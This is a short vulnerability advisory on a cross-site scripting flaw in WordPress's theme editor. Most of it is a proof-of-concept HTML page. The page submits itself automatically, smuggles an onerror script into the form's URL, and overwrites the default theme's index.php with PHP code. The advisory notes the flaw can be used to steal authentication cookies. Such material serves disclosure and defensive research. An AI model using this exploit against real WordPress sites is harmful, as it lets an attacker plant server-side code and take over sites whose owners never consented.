source: https://www.securityfocus.com/bid/23027/info WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es"> <head> <title>Wordpress XSS PoC</title> </head> <body id="main"> <form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post"> <p> <textarea name="newcontent" rows="8" cols="40"><?php echo "Owned! " . date('F d, Y'); ?></textarea> </p> <p> <input type="hidden" name="action" value="update" /> <input type="hidden" name="file" value="wp-content/themes/default/index.php" /> </p> </form> <script type="text/javascript"> // <![CDATA[ document.forms[0].submit(); // ]]> </script> </body> </html>